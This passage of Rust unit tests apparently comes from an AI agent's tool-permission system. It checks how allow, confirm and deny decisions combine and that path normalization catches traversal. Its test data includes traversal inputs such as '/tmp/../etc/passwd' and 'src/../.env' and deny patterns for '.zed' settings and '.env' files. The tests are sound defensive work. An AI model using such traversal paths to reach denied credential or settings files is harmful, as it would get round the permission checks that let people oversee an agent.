1994 ToolPermissionDecision::Confirm
1995 ),
1996 ToolPermissionDecision::Deny(_)
1997 ));
1998 }
1999
2000 #[test]
2001 fn most_restrictive_confirm_vs_deny() {
2002 assert!(matches!(
2003 most_restrictive(
2004 ToolPermissionDecision::Confirm,
2005 ToolPermissionDecision::Deny("x".into())
2006 ),
2007 ToolPermissionDecision::Deny(_)
2008 ));
2009 }
2010
2011 #[test]
2012 fn most_restrictive_deny_vs_deny() {
2013 assert!(matches!(
2014 most_restrictive(
2015 ToolPermissionDecision::Deny("a".into()),
2016 ToolPermissionDecision::Deny("b".into())
2017 ),
2018 ToolPermissionDecision::Deny(_)
2019 ));
2020 }
2021
2022 #[test]
2023 fn most_restrictive_confirm_vs_allow() {
2024 assert_eq!(
2025 most_restrictive(
2026 ToolPermissionDecision::Confirm,
2027 ToolPermissionDecision::Allow
2028 ),
2029 ToolPermissionDecision::Confirm
2030 );
2031 }
2032
2033 #[test]
2034 fn most_restrictive_allow_vs_confirm() {
2035 assert_eq!(
2036 most_restrictive(
2037 ToolPermissionDecision::Allow,
2038 ToolPermissionDecision::Confirm
2039 ),
2040 ToolPermissionDecision::Confirm
2041 );
2042 }
2043
2044 #[test]
2045 fn most_restrictive_allow_vs_allow() {
2046 assert_eq!(
2047 most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2048 ToolPermissionDecision::Allow
2049 );
2050 }
2051
2052 #[test]
2053 fn decide_permission_for_path_no_dots_early_return() {
2054 // When the path has no `.` or `..`, normalize_path returns the same string,
2055 // so decide_permission_for_path returns the raw decision directly.
2056 let settings = test_agent_settings(ToolPermissions {
2057 default: ToolPermissionMode::Confirm,
2058 tools: Default::default(),
2059 });
2060 let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2061 assert_eq!(decision, ToolPermissionDecision::Confirm);
2062 }
2063
2064 #[test]
2065 fn decide_permission_for_path_traversal_triggers_deny() {
2066 let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2067 let mut tools = collections::HashMap::default();
2068 tools.insert(
2069 Arc::from(EditFileTool::NAME),
2070 ToolRules {
2071 default: Some(ToolPermissionMode::Allow),
2072 always_allow: vec![],
2073 always_deny: vec![deny_regex],
2074 always_confirm: vec![],
2075 invalid_patterns: vec![],
2076 },
2077 );
2078 let settings = test_agent_settings(ToolPermissions {
2079 default: ToolPermissionMode::Confirm,
2080 tools,
2081 });
2082
2083 let decision =
2084 decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2085 assert!(
2086 matches!(decision, ToolPermissionDecision::Deny(_)),
2087 "expected Deny for traversal to /etc/passwd, got {:?}",
2088 decision
2089 );
2090 }
2091
2092 #[test]
2093 fn normalize_path_collapses_dot_segments() {
2094 assert_eq!(
2095 normalize_path("src/../.zed/settings.json"),
2096 ".zed/settings.json"
2097 );
2098 assert_eq!(normalize_path("a/b/../c"), "a/c");
2099 assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2100 assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2101 assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2102 assert_eq!(normalize_path("a/b/c"), "a/b/c");
2103 }
2104
2105 #[test]
2106 fn normalize_path_handles_multiple_parent_dirs() {
2107 assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2108 assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2109 }
2110
2111 fn path_perm(
2112 tool: &str,
2113 input: &str,
2114 deny: &[&str],
2115 allow: &[&str],
2116 confirm: &[&str],
2117 ) -> ToolPermissionDecision {
2118 let mut tools = collections::HashMap::default();
2119 tools.insert(
2120 Arc::from(tool),
2121 ToolRules {
2122 default: None,
2123 always_allow: allow
2124 .iter()
2125 .map(|p| {
2126 CompiledRegex::new(p, false)
2127 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2128 })
2129 .collect(),
2130 always_deny: deny
2131 .iter()
2132 .map(|p| {
2133 CompiledRegex::new(p, false)
2134 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2135 })
2136 .collect(),
2137 always_confirm: confirm
2138 .iter()
2139 .map(|p| {
2140 CompiledRegex::new(p, false)
2141 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2142 })
2143 .collect(),
2144 invalid_patterns: vec![],
2145 },
2146 );
2147 let permissions = ToolPermissions {
2148 default: ToolPermissionMode::Confirm,
2149 tools,
2150 };
2151 let raw_decision = ToolPermissionDecision::from_input(
2152 tool,
2153 &[input.to_string()],
2154 &permissions,
2155 ShellKind::Posix,
2156 );
2157
2158 let simplified = normalize_path(input);
2159 if simplified == input {
2160 return raw_decision;
2161 }
2162
2163 let simplified_decision =
2164 ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2165
2166 most_restrictive(raw_decision, simplified_decision)
2167 }
2168
2169 #[test]
2170 fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2171 let decision = path_perm(
2172 "copy_path",
2173 "src/../.zed/settings.json",
2174 &["^\\.zed/"],
2175 &[],
2176 &[],
2177 );
2178 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2179 }
2180
2181 #[test]
2182 fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2183 let decision = path_perm(
2184 "copy_path",
2185 "src/../.zed/settings.json",
2186 &[],
2187 &[],
2188 &["^\\.zed/"],
2189 );
2190 assert!(matches!(decision, ToolPermissionDecision::Confirm));
2191 }
2192
2193 #[test]
2194 fn decide_permission_for_path_allows_when_no_traversal_issue() {
2195 let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2196 assert!(matches!(decision, ToolPermissionDecision::Allow));
2197 }
2198
2199 #[test]
2200 fn decide_permission_for_path_most_restrictive_wins() {
2201 let decision = path_perm(
2202 "copy_path",
2203 "allowed/../.zed/settings.json",
2204 &["^\\.zed/"],
2205 &["^allowed/"],
2206 &[],
2207 );
2208 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2209 }
2210
2211 #[test]
2212 fn decide_permission_for_path_dot_segment_only() {
2213 let decision = path_perm(
2214 "delete_path",
2215 "./.zed/settings.json",
2216 &["^\\.zed/"],
2217 &[],
2218 &[],
2219 );
2220 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2221 }
2222
2223 #[test]
2224 fn decide_permission_for_path_no_change_when_already_simple() {
2225 // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2226 let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2227 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2228 }
2229
2230 #[test]
2231 fn decide_permission_for_path_raw_deny_still_works() {
2232 // Even without traversal, if the raw path itself matches deny, it's denied
2233 let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2234 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2235 }
2236
2237 #[test]
2238 fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2239 let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2240 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2241 }
2242}